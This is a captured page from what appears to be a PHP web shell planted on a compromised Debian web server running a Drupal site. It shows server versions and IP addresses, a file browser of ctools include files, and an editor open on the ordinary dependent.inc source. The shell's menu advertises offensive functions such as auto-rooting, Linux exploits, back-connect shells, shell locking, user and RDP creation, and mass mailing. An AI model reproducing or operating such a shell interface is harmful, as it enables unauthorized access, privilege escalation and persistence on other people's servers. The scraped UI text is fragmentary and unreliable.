Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 216.73.216.105
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
ifk
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
action-links.theme.inc
697
B
-rw-r--r--
ajax.inc
4.67
KB
-rw-r--r--
cache.inc
5.79
KB
-rw-r--r--
cache.plugin-type.inc
236
B
-rw-r--r--
cleanstring.inc
7.66
KB
-rw-r--r--
collapsible.theme.inc
2.46
KB
-rw-r--r--
content.inc
25.63
KB
-rw-r--r--
content.menu.inc
6.67
KB
-rw-r--r--
content.plugin-type.inc
381
B
-rw-r--r--
content.theme.inc
458
B
-rw-r--r--
context-access-admin.inc
15.17
KB
-rw-r--r--
context-admin.inc
27.37
KB
-rw-r--r--
context-task-handler.inc
17.42
KB
-rw-r--r--
context.inc
47.33
KB
-rw-r--r--
context.menu.inc
1.23
KB
-rw-r--r--
context.plugin-type.inc
545
B
-rw-r--r--
context.theme.inc
12.42
KB
-rw-r--r--
css-cache.inc
971
B
-rw-r--r--
css.inc
17.43
KB
-rw-r--r--
dependent.inc
6.16
KB
-rw-r--r--
dropbutton.theme.inc
5.05
KB
-rw-r--r--
dropdown.theme.inc
3.1
KB
-rw-r--r--
entity-access.inc
4.61
KB
-rw-r--r--
export-ui.inc
16.62
KB
-rw-r--r--
export-ui.menu.inc
710
B
-rw-r--r--
export-ui.plugin-type.inc
536
B
-rw-r--r--
export.inc
39.03
KB
-rw-r--r--
fields.inc
12.42
KB
-rw-r--r--
jump-menu.inc
4.6
KB
-rw-r--r--
language.inc
1.18
KB
-rw-r--r--
math-expr.inc
17.69
KB
-rw-r--r--
menu.inc
3.28
KB
-rw-r--r--
modal.inc
7.77
KB
-rw-r--r--
object-cache.cron.inc
345
B
-rw-r--r--
object-cache.inc
6.39
KB
-rw-r--r--
page-wizard.inc
5.12
KB
-rw-r--r--
page-wizard.menu.inc
756
B
-rw-r--r--
plugins-admin.inc
7.38
KB
-rw-r--r--
plugins.inc
31.89
KB
-rw-r--r--
registry.inc
3
KB
-rw-r--r--
stylizer.inc
48.24
KB
-rw-r--r--
stylizer.theme.inc
647
B
-rw-r--r--
utility.inc
1.05
KB
-rw-r--r--
uuid.inc
1.97
KB
-rw-r--r--
views.inc
879
B
-rw-r--r--
wizard.inc
17.74
KB
-rw-r--r--
wizard.theme.inc
539
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dependent.inc
<?php /** * @file * Provide dependent checkboxes that can be easily used in forms. * * This system will ensure that form items are invisible if the dependency is * not met. What this means is that you set the #dependency of an item to a * list of form ids that must be set, and the list of values that qualify. * * For a simple use, setting an item to be dependent upon a select box, if * any of the listed values are selected, the item will be visible. Otherwise, * the item will be invisible. * * If dependent upon multiple items, use #dependency_count = X to set the * number of items that must be set in order to make this item visible. This * defaults to 1. If set to 2, then at least 2 form items in the list must * have their items set for the item to become visible. * * When hiding checkboxes and radios you need to add their id in a div * manually via #prefix and #suffix since they don't have their own id. You * actually need to add TWO divs because it's the parent that gets hidden. * * Fieldsets can not be hidden by default. Adding '#input' => TRUE to the * fieldset works around that. * * For radios, because they are selected a little bit differently, instead of * using the CSS id, use: radio:NAME where NAME is the #name of the property. * This can be quickly found by looking at the HTML of the generated form, but * it is usually derived from the array which contains the item. For example, * $form['menu']['type'] would have a name of menu[type]. This name is the same * field that is used to determine where in $form_state['values'] you will find * the value of the form. * * The item that is dependent on, should be set to #tree = TRUE. * * Usage: * * First, ensure this tool is loaded: * @code { ctools_include('dependent'); } * * On any form item, add * - @code '#dependency' => array('id-of-form-without-the-#' => array(list, of, values, that, make, this, gadget, visible)), @endcode * * A fuller example, that hides the menu title when no menu is selected: * @code *function ctools_dependent_example() { * $form = array(); * $form['menu'] = array( * '#type' => 'fieldset', * '#title' => t('Menu settings'), * '#tree' => TRUE, * ); * $form['menu']['type'] = array( * '#title' => t('Menu type'), * '#type' => 'radios', * '#options' => array( * 'none' => t('No menu entry'), * 'normal' => t('Normal menu entry'), * 'tab' => t('Menu tab'), * 'default tab' => t('Default menu tab'), * ), * '#default_value' => 'none', * ); * * $form['menu']['title'] = array( * '#title' => t('Title'), * '#type' => 'textfield', * '#default_value' => '', * '#description' => t('If set to normal or tab, enter the text to use for the menu item.'), * '#dependency' => array('radio:menu[type]' => array('normal', 'tab', 'default tab')), * ); * * return system_settings_form($form); *} * @endcode * * An example for hiding checkboxes using #prefix and #suffix: * @code *function ctools_dependent_example_checkbox() { * $form = array(); * $form['object'] = array( * '#type' => 'fieldset', * '#title' => t('Select object type'), * '#tree' => TRUE, * ); * $form['object']['type'] = array( * '#title' => t('Object type'), * '#type' => 'radios', * '#options' => array( * 'view' => t('View'), * 'node' => t('Node'), * 'field' => t('Field'), * 'term' => t('Term'), * ), * '#default_value' => 'view', * ); * * $form['object']['elements'] = array( * '#title' => t('Select the elements to load from the node.'), * '#type' => 'checkboxes', * '#prefix' => '<div id="edit-elements-wrapper"><div id="edit-elements">', * '#suffix' => '</div></div>', * '#dependency' => array('radio:menu[type]' => array('node')), * '#options' => array( * 'body' => t('Body'), * 'fields' => t('Fields'), * 'taxonomy' => t('Taxonomy'), * ), * '#default_value' => array('body', 'fields'), * ); * * return system_settings_form($form); *} * @endcode * * Deprecated: * * You no longer use ctools_dependent_process(), and it should be removed * completely. * * If you have a form element which isn't listed in ctools_dependent_element_info_alter * you have to add [#pre_render'][] => 'ctools_dependent_pre_render' to your form. */ /** * Process callback to add dependency to form items. * */ function ctools_dependent_process($element, &$form_state, &$form) { return $element; } function ctools_dependent_pre_render($element) { // Preprocess only items with #dependency set. if (isset($element['#dependency'])) { if (!isset($element['#dependency_count'])) { $element['#dependency_count'] = 1; } if (!isset($element['#dependency_type'])) { $element['#dependency_type'] = 'hide'; } $js = array( 'values' => $element['#dependency'], 'num' => $element['#dependency_count'], 'type' => $element['#dependency_type'], ); // Add a additional wrapper id around fieldsets, textareas to support depedency on it. if (in_array($element['#type'], array('textarea', 'fieldset', 'text_format'))) { $element['#theme_wrappers'][] = 'container'; $element['#attributes']['id'] = $element['#id'] . '-wrapper'; } // Text formats need to unset the dependency on the textarea // or it gets applied twice. if ($element['#type'] == 'text_format') { unset($element['value']['#dependency']); } $element['#attached']['js'][] = ctools_attach_js('dependent'); $options['CTools']['dependent'][$element['#id']] = $js; $element['#attached']['js'][] = array('type' => 'setting', 'data' => $options); } return $element; } /** * CTools alters the element_info to be able to add #process functions to * every major form element to make it much more handy to use #dependency, * because you don't have to add #process. */ function ctools_dependent_element_info_alter(&$type) { $form_elements = array('checkbox', 'checkboxes', 'date', 'fieldset', 'item', 'machine_name', 'markup', 'radio', 'radios', 'select', 'textarea', 'textfield', 'text_format'); foreach ($form_elements as $element) { $type[$element]['#pre_render'][] = 'ctools_dependent_pre_render'; } }
Close